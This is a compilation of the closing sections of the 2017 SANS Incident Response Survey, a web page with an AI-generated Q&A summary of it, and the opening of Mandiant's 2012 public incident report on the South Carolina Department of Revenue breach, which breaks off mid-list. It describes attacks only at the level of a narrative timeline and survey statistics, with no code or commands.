detection to remediation. These two questions did not consider the crucial middle step of containment, where an organization halts attacker activity. Containment is a crucial step in the IR process and is the goal that IR teams work toward before achieving remediation. In some cases, remediation and containment are performed in unison, but often they are separate goals. Our survey respondents liked the new classification, and our results show that things are getting better. This year, 50% of respondents reported a dwell time of fewer than 24 hours, a sizable increase from last year’s results, in which 40% attained that measure! Additionally, 53% reported a detection to containment time of less than 24 hours in 2017. More than ever, these are obvious signs that our IR teams and times are improving. Figure 6 provides a breakdown of both dwell times (compromise to detection) and detection to containment times. The Show Must Go On! The 2017 SANS Incident Response SurveyTAKEAWAY Dwell times are shrinking, indicating that IR teams are improving and responding and/or classifying events faster than before. On average, how much time elapsed between the initial compromise and detection (i.e., the dwell time)? How long from detection to remediation? Please check both columns as they apply. Figure 6. Dwell and Containment Times30% 20%10% 0% >1 year 7–12 months 4–6 months 1–3 months 8–30 days 2–7 days 6–24 hours 1–5 hours <1 hour Unknown Time from compromise to detection Time from detection to containment Are Things Getting Better? (CONTINUED) SANS ANALYST PROGRAM 9Containing an attack as quickly as possible is important to prevent an attacker from performing additional activities or re-entering the environment. In some cases, organizations may catch an active attacker moving throughout the network and either actively stealing data or looking for data to steal. In breaches where an attacker has already compromised an environment, there may be little evidence of recent activity. Inactivity does not diminish the importance of containment. Instead, it amplifies it. Attackers may be waiting for an opportunity to re-enter the environment and may not be exposing all their capabilities. The critical step following containment is remediation. Whereas containment may utilize known indicators and tactics, techniques, and procedures (TTPs) to block attacker activities, remediation involves short-, medium- and long-term implementations. The goal of remediation is to close known holes, upgrade vulnerable systems, permanently close entry vectors, and/or wrap new security measures around business processes, to name a few. Approximately 82% of this year’s survey base reported that remediation activities take place within one month of containment, with 33% performing these activities within 24 hours. Figure 7 provides insight into this year’s remediation times. The data presented in Figure 7 continue to highlight good news for IR. Depending on incident severity and the amount of remediation needed, completion within 30 days may seem idealistic for even the most agile organizations. Our survey respondents are showing that time to contain and remediate is not a problem for them, freeing up incident responders to continue responding to incidents. The Show Must Go On! The 2017 SANS Incident Response SurveyOn average, how much time elapsed between containment and remediation? Figure 7. Time from Containment to Remediation30% 20%10% 0% >1 year 7–12 months 4–6 months 1–3 months 8–30 days 2–7 days 6–24 hours 1–5 hours <1 hour Unknown Time from containment to remediation It is not surprising to any incident responder that attackers will utilize a multitude of methods to compromise a network, if necessary. Each year we strive to see whether attackers are changing their methods or discovering new ways to compromise organizations. As our IR teams continue to mature, we expect to see attackers shift and expose new tactics that will keep our teams on their toes. Root Cause for Concern This year’s survey indicated that although IR teams are seeing improvements, root causes of incidents remain consistent. Malware infections were the root cause of incidents or confirmed breaches for 68% of respondents. Similar to findings from last year’s survey, this is likely due to the ever-growing popularity of attacks utilizing ransomware and other commodity malware. While the survey did not call out ransomware directly, 7 of the 11 respondents who selected “Other” listed ransomware as the root cause. Figure 8 provides a breakdown of the underlying nature of breaches, as experienced by our respondent base. SANS ANALYST PROGRAM 10Eyes on the Prize The Show Must Go On! The 2017 SANS Incident Response SurveyWhat was the underlying nature of these breaches? Select all that apply. Unauthorized privilege escalationData breachMalware infections Destructive attack (aimed at damaging systems)Advanced persistent threat or multistage attackUnauthorized access Distributed denial of service (DDoS) attack as the main attack DDoS attack as a diversion OtherInsider breach Figure 8. Root Causes70% 60%50% 40% 30%20% 10% 0% Eyes on the Prize (CONTINUED) SANS ANALYST PROGRAM 11Nearly 55% of the survey respondents indicated that damaging attacks, such as destructive or Distributed Denial of Service (DDoS) attacks, were the root cause for confirmed breaches. The leading presence of malware-based and destructive attacks aligns with what incident responders are seeing in the current landscape, which continues to see a proliferation of attackers looking for quick financial gain. Naturally, as attackers find successful ways to make money, they will continue to repeat the methods until the well has run dry. However, not all attacks are seeking immediate financial gain. To dismiss attacks with other goals would be inappropriate. In fact, our survey results illustrate that financial data may not be the top goal of data breaches. Approximately 50% of this year’s respondents reported that employee information was the data exfiltrated from or otherwise compromised within the organization’s environment, reflecting the long- term value of personal information, such as Social Security numbers, as opposed to PCI or other financial data. Individual customer information and intellectual property completed the top three types of data that attackers sought to steal, respectively. Figure 9 provides a breakdown of data types compromised by attackers in 2017, according to our respondent base. The Show Must Go On! The 2017 SANS Incident Response SurveyWhat type of data was exfiltrated from the environment or otherwise compromised in the breach? Select all that apply. PCI data (payment card numbers, CVV2 codes, track data)Intellectual property (source code, manufacturing plans, etc.)Employee information PHI data (health information)Proprietary customer informationIndividual customer information Other Legal dataOther regulated data (SOX, non-PHI personally identifiable information, etc.) Figure 9. Data Targeted50% 40% 30% 20%10% 0% Eyes on the Prize (CONTINUED) SANS ANALYST PROGRAM 12The importance of understanding the types of data attackers may be seeking helps organizations determine where to prioritize their defensive spending. It should also serve as a guide for incident responders to adjust alert severity. Teams may want to consider adjusting the monitoring of systems that contain highly sought-after data and/or critical business functions. Protecting sensitive data should not be prioritized based on attacker preferences. Instead, organizations should consider the business impact of data theft and scale accordingly. The Show Must Go On! The 2017 SANS Incident Response Survey In previous sections of this survey overview, we’ve analyzed key statistics that organizations can use to measure whether they were effective at preventing incidents from turning into breaches or responding to breaches as quickly as possible. While these metrics are useful to gauge whether investments in IR are yielding fruit, those in management positions must also analyze the maturity of their teams. Growing Up or Growing In? While previous sections have shown promising statistics that IR teams are improving, in certain areas our respondents felt their organizations still had plenty of room to grow. Approximately 53% of our respondents indicated that their SOC’s ability to respond to events was mature or is maturing, compared with 52% in 2016. This assessment is a somewhat surprisingly flat result, considering previous results had shown that teams are improving compared to years past. Even more concerning, 39% of our respondents indicated that their SOC was still immature. However, measurement of a SOC’s response abilities is difficult to gauge within a single year. When we compared the survey results against our 2015 and 2016 data, effectively mapping three years’ worth of survey results, considerable improvement is obvious. Respondents during this time frame clearly show noticeable uptrends in mature (2%) and maturing (12%) SOCs, with a welcome 5% decrease in immaturity. Figure 10 provides a breakdown of SOC maturity results from 2015 to 2017. SANS ANALYST PROGRAM 13IR: It’s What’s Inside that Counts The Show Must Go On! The 2017 SANS Incident Response SurveyWhat is the maturity of your security operations center’s (SOC’s) ability to respond to events? Figure 10. SOC Maturity50% 40% 30% 20%10% 0% 2015 2016 2017 Unknown Immature Maturing Mature Other IR: It’s What’s Inside that Counts (CONTINUED) SANS ANALYST PROGRAM 14Note that while this survey may show little change in SOC maturity, it is not necessarily negative for IR. It may be a sign of additional responsibilities given to the SOC, and survey respondents are aware that the organization is in an improvement process. As we’ll see shortly, some statistics do lean toward increased in-house security reliance, which may explain the increased level of responsibility. An immature SOC assessment may also stem from newly formed or growing teams. This year’s survey reported that approximately 84% of organizations had at least one core dedicated IR team member, and 55% had one or more dedicated IR team members during a surge response, compared to 76% and 55%, respectively, in last year’s results. Once again, this is healthy growth that shows IR teams are expanding. Our respondents reported the greatest upticks in teams with one to six total core members, indicating that smaller organizations are adding IR members as the business allows, or smaller teams are finally receiving the support that they need. Table 2 provides a breakdown of this year’s core IR team size. The Show Must Go On! The 2017 SANS Incident Response SurveyTAKEAWAY Confidence in SOC and IR teams may result in additional capabilities. While a vote of confidence may increase morale and help justify spending for IR improvement, be careful not to saddle incident responders with duties that are outside their scope of capabilities. Table 2. Core IR Team Size Dedicated internal IR team Drawn from other internal staff (security group, operational/ administrative IT resources) Outsourced services (e.g., MSSP- managed services security provider) with dedicated IR services (alerts, response) Other Unknown 3.6% 5.3% 13.4% 5.3% None 11.7% 14.6% 42.9% 17.4% 1–2 36.4% 27.9% 18.6% 2.0% 3–5 25.9% 21.9% 8.5% 0.8% 6–10 14.2% 13.8% 4.9% 0.0% 11–20 4.5% 5.7% 2.4% 0.8%More than 20 2.8% 7.3% 4.0% 0.0% IR: It’s What’s Inside that Counts (CONTINUED) SANS ANALYST PROGRAM 15This year’s survey results show that not only are teams expanding, but so are the mechanisms organizations are using to detect and remediate against alerts. Survey results indicate that organizations are involving multiple types of systems in their investigations and that these systems are moving mostly in-house. Corporate-owned devices, such as laptops and smartphones, internal network devices and on-premises corporate data services constitute the top three types of in-house systems utilized during investigations. Top outsourced devices include typical contenders such as corporate systems hosted in the cloud. Figure 11 provides insight into use of in-house and outsourced systems by our respondent base. The Show Must Go On! The 2017 SANS Incident Response SurveyWhat systems are involved in your investigations? Check only those that apply. Please indicate whether your capabilities for these investigations exist in-house, are outsourced or both. Corporate data center servers hosted locally (on-premises) Embedded, or non-PC devices, such as media and entertainment boxes, printers, smart cars, connected control systems, etc. Unapproved systems (shadow IT), applications or services hosted in the cloudCorporate-owned laptops, smartphones, tablets and other mobile devices Business-related databases in the cloud Corporate data center servers hosted in the public cloud (e.g., Azure or Amazon EC2)Business applications (e.g., Web application, line of business systems) and services (e.g., email, file sharing) in the cloud Business-related databases hosted locally Employee-owned computers, laptops, tablets and smartphones (BYOD) Employee social media accountsBusiness-related social media accounts or platforms OtherInternal network (on-premises) devices and systems Corporate-owned social media accounts Unapproved systems (shadow IT), applications or services hosted locally Figure 11. Systems Used in Investigations 0% 20% 60% 80% 100% 40% In-house Both Outsourced IR: It’s What’s Inside that Counts (CONTINUED) SANS ANALYST PROGRAM 16While the numbers and types of systems involved in investigations are good signs of organizations bringing capabilities in-house, our survey results indicate that there is still plenty of room for detection capability integration. Integrated detection capabilities lead to improved containment times that, in turn, improve the organization. This year’s survey showed little change in detection integration, which may be stifling teams’ ability to shorten response times even further. Respondents indicated that IDS/IPS/Firewalls, secure web gateways, and security information and event management systems (SIEMs) are highly integrated, while screen capture tools, sandboxing and perimeter SSL decryption remain the largest unintegrated mechanisms. Table 3 provides a snapshot into our respondent’s detection integration results. The Show Must Go On! The 2017 SANS Incident Response Survey Table 3. Integration of Detection Systems Capabilities Used to Identify Impacted Systems IPS/IDS/Firewall/UTM alerts Log analysis Security information and event management (SIEM) correlation and analysis Secure web gateway (on-premises and/or cloud proxy)Network flow and anomaly detection tools Network packet capture or sniffer tools Network-based scanning agents for signatures and detected behaviorSandboxing User notification or complaintsHost-based intrusion detection (HIDS) agent alerts Endpoint detection and response (EDR) capabilities Services availability monitoringThird-party notifications and intelligenceSSL decryption at the network boundary User activity monitoring tools Endpoint controls (e.g., NAC or MDM)Network traffic archival and analysis toolsIntelligence and analytics tools or servicesHomegrown tools for our specific environment Case-management systems Third-party tools specific for legal digital forensicsFile integrity monitoring (FIM)Behavioral monitoring (profiling)Visibility infrastructure to optimize connected security systems Browser and screen capture toolsHighly Integrated 51.2% 37.6%41.0% 42.4% 27.8%25.4%38.5%19.0% 29.3% 32.7%36.1% 32.7% 22.9% 23.4% 24.9%27.8% 28.8% 24.4%17.1%22.9%18.0% 16.6% 13.2%19.0%15.6%Partially Integrated 39.0%46.3%34.6% 30.7% 44.9%40.5%33.7%34.1% 40.0% 37.1%34.1% 33.2% 40.0% 28.3% 35.1%38.5% 35.1% 41.5%36.6%32.2%30.2% 27.8% 30.2%34.1%24.4%Not Integrated 6.3% 10.2%12.7% 14.6% 14.6%21.5%14.6%33.7% 17.6% 16.1%15.1% 18.0% 20.5% 31.2% 22.9%16.1% 18.0% 15.6%27.3%25.4%31.7% 34.1% 34.1%24.4%37.1% IR: It’s What’s Inside that Counts (CONTINUED) SANS ANALYST PROGRAM 17It is worth noting that while many organizations have dreams of unlimited security capabilities, the selection of devices that get integrated may be determined by regulatory factors. In this year’s survey, we sought to understand what regulatory forces may underlie IR improvements. Approximately 64% of this year’s respondent base reported that Payment Card Industry (PCI) regulations are driving their IR improvements, followed by SOX at 43% and HIPAA at 34%, respectively. Figure 12 provides a breakdown of industry regulations driving IR capabilities. The Show Must Go On! The 2017 SANS Incident Response SurveySpecify the industry regulations driving your IR capabilities. Select all that apply. OtherHIPAA/HITECHPCI NERC/CIPFISMASOX FDIC/GLBA Figure 12. Regulations Driving Incident Response 60% 50%40% 30% 20% 10% 0% IR: It’s What’s Inside that Counts (CONTINUED) SANS ANALYST PROGRAM 18Incident Response + Threat Intelligence Our survey respondents indicated that threat intelligence continues to be an important element of IR. Approximately 73% of our respondents are using threat intelligence; however, more than half of those respondents are using threat intelligence that is included with previously purchased tools. Unfortunately, this leaves 27% of the respondent base not utilizing threat intelligence, which is consistent with last year’s survey. Figure 13 provides a breakdown of threat intelligence consumption. The Show Must Go On! The 2017 SANS Incident Response SurveyTAKEAWAY Confidence in SOC and IR teams may result in additional capabilities. While a vote of confidence may increase morale and help justify spending for IR improvement, be careful not to saddle incident responders with duties that are outside their scope of capabilities. Are you using threat intelligence (TI) feeds to speed detection and response? Select the most appropriate. Figure 13. Use of Threat Intelligence Yes, via a standalone commercial TI feed. Yes, TI is included in one or more tools that we purchased. Yes, we use an open source TI feed. No, we’re not using TI. IR: It’s What’s Inside that Counts (CONTINUED) SANS ANALYST PROGRAM 19The lack of threat intelligence in over a quarter of our survey respondent base is a troubling trend that has remained consistent year-over-year. The use of threat intelligence can be crucial to early detection and/or mitigation of attacker threats, and it may assist in preventing incidents from converting into data breaches. For those respondents that do utilize threat intelligence, 51% reported using both third-party and internal discovery intelligence to help detect communications between systems and malicious IP addresses. Rounding out the top three, respondents are also using threat intelligence to detect malicious IP addresses and find host and network indicators of compromise. Figure 14 provides a breakdown of threat intelligence utilization within our respondent base. The Show Must Go On! The 2017 SANS Incident Response SurveyWhat kind of threat intelligence are you using? Please indicate what is being delivered through third parties, what is developed internally, or both. Select only those that apply. Adversary or attacker attribution Domain data Tor node IP addressesIP addresses or nodes Endpoint data and logs Unexecuted or undetonated malicious filesCommunications between systems and malicious IP addresses Suspicious files, hostflow and executables Reputation data OtherNetwork history dataHost and network indicators of compromise (IOCs) Heuristics and signatures from previous events Updates to correlation rules that link events Figure 14. Types of Threat Intelligence in Use 0% 20% 60% 80% 100% 40% Internal Discovery Both Provided by Third Party IR: It’s What’s Inside that Counts (CONTINUED) SANS ANALYST PROGRAM 20Admittedly, stagnation in the use of threat intelligence is not beneficial for incident responders. To look for useful information, our teams may look internally for data available. Luckily, we are seeing improvements in this area. Approximately 83% of respondents reported that active endpoint data is a crucial part of their investigations, with 66% also utilizing alerts from security devices such as antivirus and IPS/IDS. Figure 15 provides a breakdown of data utilized by our respondents during their investigations. The data presented in Figure 15 is yet another sign of improvement across IR teams. The teams should continue to look internally to mine, enrich and act upon the data they do have available. Collecting data from internal systems and paying attention to alerts generated by security applications in place will harden the IR team and increase its operational knowledge of the organization’s environment. The Show Must Go On! The 2017 SANS Incident Response SurveyWhat data do you prefer as evidence when investigating alarms? Select your top three preferences. Order is not important. IOC threat intelligence data Vulnerability dataRelated alarms from IPS, antivirus, network detection and SIEM Host, domain and URL reputation dataActive endpoint data (workstation name, OS version, Active User, installed software packages, registry settings) Short-term historical event data and logs (up to 7 days old) from SIEM Threat campaign dataNetwork activity data (net flow, URL) Long-term historical event data and logs (older than 7 days) from SIEM Figure 15. Overall Data Type Preferences0% 20% 60% 80% 40%TAKEAWAY When IR teams don’t have access to the external threat data they want, they look internally to enrich the data available to them. Although this internal focus can help the IR team understand the environment better, it increases operational demands. Effective use of relevant threat intelligence can only help make IR teams more powerful and efficient, and organizations of all sizes should include it in their programs. Where We’re Going SANS ANALYST PROGRAM 21In previous sections of this survey, we highlighted areas where IR teams are clearly improving. Dwell times are dropping and IR teams are growing with more in-house capabilities. Teams are learning to mine their own internal data, which when combined with external threat intelligence, will help reduce detection, containment and remediation times. This next section examines what our survey respondents have in store for the future. Experience, the Best Teacher Undoubtedly, one of the best learning methods is experience. A key part of the IR process is to examine lessons learned from incidents to pinpoint how the team can increase its maturity. Unfortunately, only 58% of our survey respondents indicated that they review and update IR processes at least periodically. A remaining 31% of respondents do not assess their program, and 11% do not have any plans to do so. Figure 16 provides a breakdown of IR effectiveness and maturity assessments. For those organizations that do assess their IR processes, we saw a healthy mix between the following assessment activities: • Well-defined metrics • Internal IR exercises • Measuring improvements in accuracy, response time and reduction of attack surface The Show Must Go On! The 2017 SANS Incident Response SurveyDo you assess the effectiveness and maturity of your IR processes? Figure 16. Assessment of IR Processes We do not assess our IR processes and have no plans to do so. We do not assess our IR processes, but we are making plans to do so. We review and update our IR processes formally after each major incident. We review and update our IR processes periodically.TAKEAWAY Assessing your organization’s IR program is crucial to its future success. Not only are teams unable to mature if they don’t know where their weaknesses are, but security assessments, in general, help the organization determine where to focus next year’s spending and IR process improvements. Where We’re Going (CONTINUED) SANS ANALYST PROGRAM 22Most survey respondents indicated that they perform at least one of the above, but multiple respondents indicated that they perform more than one! Multiple assessment methods help the IR teams mature and are crucial to future development. Figure 17 provides a breakdown of assessment activities performed by incident response teams. Sprinting Harder with Hurdles It’s safe to say that no organization wants to suffer a security incident and, if time and money were of no concern, would happily staff elite IR teams. Alas, organizations must make do with the resources they have available. That being said, each year we look to examine hurdles currently facing IR teams to understand how shifts in spending or priorities may be shaping team capabilities. Lack of resources—including time, staff or budget, plus a staffing/skills shortage— ranked as the most commonly cited impediments to effective IR. Vaguely-defined processes and owners round out the top three impediments facing current IR teams. Table 4 provides a listing of the top 10 impediments as reported by our respondent base. The Show Must Go On! The 2017 SANS Incident Response SurveyHow do you assess the effectiveness and maturity of your IR processes? OtherWe conduct incident response exercises on a routine basis.We measure improvements in accuracy, response time and reduction of attack surface. We use well-defined metrics to help us track, evaluate and update our plan. Figure 17. Assessment Methods 0% 10% 30% 40% 50% 20% Where We’re Going (CONTINUED) SANS ANALYST PROGRAM 23While the data in Table 4 show teams still facing hurdles, there is good news! Between 2016 and 2017, budgetary shortages fell from 40% in 2016 to 31% in this year’s survey, which may indicate that money is finally being freed up for our teams to use. Having extra money available may mean that teams can finally hire additional staff or purchase technologies to help shorten IR times, increase environment visibility and enhance staff expertise. The Show Must Go On! The 2017 SANS Incident Response Survey Table 4. Top 10 Impediments Facing IR Teams Impediment Lack of resources (time, staff, budget) to effectively execute improvements Staffing and skills shortage Vaguely defined processes and ownersBudgetary shortages for tools and technologyNot enough visibility into events happening across different systems or domainsOrganizational silos between IR and other groups or between data sources or tasks Lack of procedural reviews and practice Too much time needed to detect and remediateDifficulties in detecting sophisticated attackers and removing their tracesIntegration issues with our other security and monitoring tools Lack of ability and resources to support deployment of multiple security systems Lack of comprehensive automated tools available to investigate new technologies, such as BYOD, Internet of Things and use of cloud-based IT Lack of controls over devices that leave the network perimeter % Response 48.7% 47.1% 32.1%31.0%30.5%26.7% 23.0% 19.8%18.2%18.2% 18.2% 18.2% 17.6%Rank 1 2 3456 7 8 9T9T 9T 9T 10 Where We’re Going (CONTINUED) SANS ANALYST PROGRAM 24Additional survey results indicate that teams should be focusing available money on additional training and staff certifications, reported by a whopping 68% of our respondent base as improvements that the organization will be making over the next 12 months. Other improvements planned by our survey respondents, as shown in Figure 18, include better definition of processes and owners, more automated reporting and analysis, and security analytics. The Show Must Go On! The 2017 SANS Incident Response SurveyWhat improvements in IR is your organization planning to make in the next 12 months? Select all that apply. Better security analytics and correlation across event types and impacted systems Better response time Full automation of detection, remediation and follow-up workflowsBetter definition of processes and owners Improved utilization of current enterprise security tools already in place Dedicated visibility and monitoring infrastructure to support security systemsAdditional training and certification of staff Proactive threat hunting Improvements to incident response plan and procedures for handling insider incidents OtherMore automated reporting and analysis through security information and event management (SIEM) integration More integrated threat intelligence feeds to aid in early detection Improved visibility into threats and associated vulnerabilities as they apply to the environment Figure 18. Improvements Coming in the Next 12 Months 0% 20% 60% 40% Where We’re Going (CONTINUED) SANS ANALYST PROGRAM 25Without a doubt, organizational focus on increased staff training and better definition of business process and owners strikes directly at the impediments reported previously in Table 4. Coupled with an increase in security spending, teams may finally have the means available to reach additional levels of improvement and maturation. Over a third of respondents were unable to provide budgetary information. But 11% of our respondent base reported that IR budgets will likely see a 4–5% increase over the next 12 months, with approximately 10% reporting an increase of more than 10%! Figure 19 provides a breakdown of planned IR budget increases over the next 12 months, but does not illustrate the unknown responses. The Show Must Go On! The 2017 SANS Incident Response SurveyWhat percentage of your security budget is currently assigned to incident response, and what percentage is planned for the next 12 months? Figure 19. Incident Response Budgets for the Current and Next Year 12% 8% 4% 0% More than 10% 5–10% 4–5% 2–3% 1–2% None Current Next 12 MonthsTAKEAWAY Survey respondents show promising increases in IR budgets over the next 12 months. Organizations should ask their teams directly where the additional funding can best be applied. Our survey results indicate that teams want more resources, additional training and better-defined processes. Conclusion SANS ANALYST PROGRAM 26If the events of 2016 fostered such growth in IR, one might be tempted to wish for equally or more dire events in 2017. However, that model is not sustainable! Instead, a better outlook would be to hope that global security incidents of the past continue to spur growth and maturity for our IR teams. This year’s survey clearly outlined where teams are improving. For many, however, the improvements were too long in coming. Surveys from years past show that many issues and impediments have remained in the top 10 for too long. This year’s survey theme was: “The Show Must Go On. ” It’s a reflection of the fact that regardless of what events take place in the world, how advanced our attackers become, or what the next advances in data breaches may be, our IR teams will be ready. IR teams will continue to expand globally, developing a wealth of expertise in the process. Budgets will continue to improve, providing opportunities to hire additional staff and/or train existing team members. But IR sits at a bittersweet juxtaposition: The more success IR teams have, the less we will hear about them. So, while the show must go on, let’s hope that the next acts are relatively uneventful, devoid of surprises and full of opportunities for our teams to grow and mature. The Show Must Go On! The 2017 SANS Incident Response Survey Matt Bromiley is a SANS Digital Forensics and Incident Response instructor and a GIAC Advisory Board member. He is also a senior managing consultant at a major incident response and forensic analysis company, bringing together experience in digital forensics, incident response/triage and log analytics. His skills include disk, database, memory and network forensics, as well as network security monitoring. Matt has worked with clients of all types and sizes, from multinational conglomerates to small, regional shops. He is passionate about learning, teaching and working on open source tools. SANS ANALYST PROGRAM27About the Author Sponsors SANS would like to thank this survey’s sponsors: The Show Must Go On! The 2017 SANS Incident Response Survey Last Updated: June 20th, 2017 Upcoming SANS Training Click Here for a full list of all Upcoming SANS Events by Location SANS Paris 2017 Paris, FR Jun 26, 2017 - Jul 01, 2017 Live Event SANS Cyber Defence Canberra 2017 Canberra, AU Jun 26, 2017 - Jul 08, 2017 Live Event SANS Columbia, MD 2017 Columbia, MDUS Jun 26, 2017 - Jul 01, 2017 Live Event SEC564:Red Team Ops San Diego, CAUS Jun 29, 2017 - Jun 30, 2017 Live Event SANS London July 2017 London, GB Jul 03, 2017 - Jul 08, 2017 Live Event Cyber Defence Japan 2017 Tokyo, JP Jul 05, 2017 - Jul 15, 2017 Live Event SANS Los Angeles - Long Beach 2017 Long Beach, CAUS Jul 10, 2017 - Jul 15, 2017 Live Event SANS Cyber Defence Singapore 2017 Singapore, SG Jul 10, 2017 - Jul 15, 2017 Live Event SANS Munich Summer 2017 Munich, DE Jul 10, 2017 - Jul 15, 2017 Live Event SANS ICS & Energy-Houston 2017 Houston, TXUS Jul 10, 2017 - Jul 15, 2017 Live Event SANSFIRE 2017 Washington, DCUS Jul 22, 2017 - Jul 29, 2017 Live Event Security Awareness Summit & Training 2017 Nashville, TNUS Jul 31, 2017 - Aug 09, 2017 Live Event SANS San Antonio 2017 San Antonio, TXUS Aug 06, 2017 - Aug 11, 2017 Live Event SANS Prague 2017 Prague, CZ Aug 07, 2017 - Aug 12, 2017 Live Event SANS Hyderabad 2017 Hyderabad, IN Aug 07, 2017 - Aug 12, 2017 Live Event SANS Boston 2017 Boston, MAUS Aug 07, 2017 - Aug 12, 2017 Live Event SANS Salt Lake City 2017 Salt Lake City, UTUS Aug 14, 2017 - Aug 19, 2017 Live Event SANS New York City 2017 New York City, NYUS Aug 14, 2017 - Aug 19, 2017 Live Event SANS Virginia Beach 2017 Virginia Beach, V AUS Aug 21, 2017 - Sep 01, 2017 Live Event SANS Chicago 2017 Chicago, ILUS Aug 21, 2017 - Aug 26, 2017 Live Event SANS Adelaide 2017 Adelaide, AU Aug 21, 2017 - Aug 26, 2017 Live Event SANS San Francisco Fall 2017 San Francisco, CAUS Sep 05, 2017 - Sep 10, 2017 Live Event SANS Tampa - Clearwater 2017 Clearwater, FLUS Sep 05, 2017 - Sep 10, 2017 Live Event SANS Network Security 2017 Las Vegas, NVUS Sep 10, 2017 - Sep 17, 2017 Live Event SANS Dublin 2017 Dublin, IE Sep 11, 2017 - Sep 16, 2017 Live Event DFIR Summit & Training 2017 OnlineTXUS Jun 22, 2017 - Jun 29, 2017 Live Event SANS OnDemand Books & MP3s OnlyUS Anytime Self Paced --- ## Source: https://montance.com/questions.php?id=43 [![pdf](content/images/icons/pdf.svg) Show on 2017 incident response survey 37815.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgWVNDanZmbDhxZzA/view?usp=sharing) Show On 2017 Incident Response Survey 37815 Survey results regarding incident response capabilities and challenges in 2017. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What was the root cause of the majority of incidents in 2017? A: Malware. * Q: What are the main shortages faced by IR teams? A: Skilled staff, lack of ownership, and business silos. * Q: What year brought 'unprecedented events'? A: 2016 (Election, shadow brokers, etc.). * Q: What is the name of this survey? A: 'The Show Must Go On!' * Q: Who sponsored the survey? A: AlienVault, IBM Security, McAfee, etc. * Q: What is the focus of the survey? A: Incident Response capabilities and challenges. * Q: What is a key recommendation for improvement? A: Building IR teams that suit the specific environment. * Q: What is the 'Prevention' vs 'Response' balance? A: A shift towards acknowledging prevention failure and needing robust response. * Q: What role does 'Threat Intelligence' play? A: It is becoming integral to IR for context. * Q: What is the 'dwell time' trend? A: Ideally decreasing, but still a challenge. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgQXowVzdaMW41RFE/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgQXowVzdaMW41RFE/view?usp=sharing]** South Carolina Department of Revenue Public Incident Response Report November 20, 2012 Page 2 This public incident response report and its publication is not intended nor should it be construed as a waiver of any privilege or immunity from disclosure that may attach to Mandiant’s privileged work, investigation, and reports. EXECUTIVE SUMMARY BACKGROUND On October 10, 2012, a law enforcem ent agency contacted the South Carolina Department of Revenue (DoR) with evidence that Personally Identifiable Information (PII) of three individuals had been stolen . The D epartment of Revenue reviewed the data provided and identified that the data provid ed would have been stored within databases managed by the Department of Revenue . On October 12, 2012, Mandiant was contracted by the Department of Revenue to perform an incident response . Mandiant’s objectives were to:  Determine if the attack was ongoing.  Confirm the initial method of intrusion and its timing.  Determine the scope of the compromise .  Determine data loss/exposure.  Perform immediate remediation activities.  Develop short and long term remediation plan s. Mandiant performed the following activities to achieve these objectives:  Met with the South Carolina Department of Revenue and Division of State Information Technology (DSIT) representatives to discuss initial evidence preservation requirements.  Reviewed log data , created foren sic images and performed forensic analysis of the web, application, and database s ystems that housed the PII data provided in the law enforcement notification .  Analyzed Department of Revenue computer systems with the Mandiant Intelligent Response (MIR) tec hnology for indicators of compromise (IOCs). MIR is a tool used by experienced investigators to look for evidence of malicious activities across a large number of systems.  Monitored all network traffic from the Department of Revenue ’s single Internet egre ss point for evidence of ongoing malicious activity .  Reviewed available network and security device logs for indicators of compromise.  Collected live response data and forensic images from key systems as well as network and system logs.  Analyzed malware to identify additional indicators of compromise.  Analyzed evidence to identify attacker activities and additional indicators of compromise.  Documented findings and remediation recommendations.  Performed a PCI Forensics Investigation (PFI) as required by the Department of Revenue ’s acquiring bank , First Data. Mandiant performed both on -site and off -site incident response activities from October 13 , 2012 through November 16 , 2012 . FINDINGS Mandiant’s major findings are provided below. Summary of the Attack A high level understanding of the most important aspects of the compromise are detailed below. 1. August 13, 2012: A malicious (phishing) email was sent to multiple Department of Revenue employees. At least one Department of Revenue user clicked on the embedd ed link , unwittingly executed malware, and became compromised. The malware likely stole the user’s username and password. This theory is based on other facts discovered during the investigation; h owever, Mandiant was unable to conclusively determine if th is is how the user’s credentials were o btained by the attacker. Page 3 This public incident response report and its publication is not intended nor should it be construed as a waiver of any privilege or immunity from disclosure that may attach to Mandiant’s privileged work, investigation, and reports. 2. August 27 , 2012 : The attacker logged in to the remote access service (Citrix) using legitimate Department of Revenue user credentials. The credentials used belonged to one of the user s who had received and opened the malicious email on August 13, 2012. The attacker used the Citrix portal to log into the user’s workstation and then leveraged the user’s access rights to access other D epartment of Revenue systems and databases with the user ’s credentials. 3. August 29 , 2012 : The a ttacker executed utilities designed to obtain user account passwords on six servers. 4. September 1 , 2012 : The a ttacker executed a utility to obtain user account passwords for all Windows user accounts. The attacker also i nstalled malicious software ( “backdoor” ) on one server. 5. September 2 , 2012 : The attacker interacted with twenty one servers using a compromised account and performed reconnaissance activities . The attacker also authenticated to a web server that handled payment maintenance information for the Department of Revenue, but was not able to accomplish anything malicious. 6. September 3 , 2012 : The attacker interacted with eight servers using a compromis ed account and performed reconnaissance activities . The attacker again authenticated to a web server that handled payment maintenance information for the Department of Revenue, but was not able to accomplish anything malicious. 7. September 4 , 2012 : The atta cker interacted with six systems using a compromised account and performed reconnaissance activities . 8. September 5 - 10, 2012 : No evidence of attacker activity was identified . 9. September 11 , 2012 : The attacker interacted with three systems using a compromis ed account and performed reconnaissance activities . 10. September 12 , 2012 : The a ttacker copied database backup files to a staging d irectory . 11. September 13 and 14 , 2012 : The a ttacker compressed the database backup files into fourteen (of the fifteen total) encrypted 7 -zip1 archives. The a ttacker then moved the 7 -zip archives from the database server to another server and sent the data to a system on the Internet. The a ttacker then deleted the backup files and 7-zip archives. 12. September 15 , 2012 : The a ttacke r interacted with ten systems using a compromised account and performed reconnaissance activities . 13. September 16 , 2012 – October 16 , 2012 : No evidence of attacker activity was identified . 14. October 17 , 2012 : The a ttacker checked connectivity to a server using the backdoor previously installed on September 1 , 2012 . No evidence of additional activity was discovered . 15. October 19 and 20, 2012 : The Department of Revenue executed remediation activities based on short term recommendations provided by Mand iant. The intent of the remediation activities was to remove the attacker’s access to the environment and detect a re - compromise. 16. October 21, 2012 – Present: No evidence of related malicious activity post -remediation has been discovered. Extent of Comprom ise The following points describe the extent of the compromise: 1. The attacker compromised a total of 44 systems:  One system had 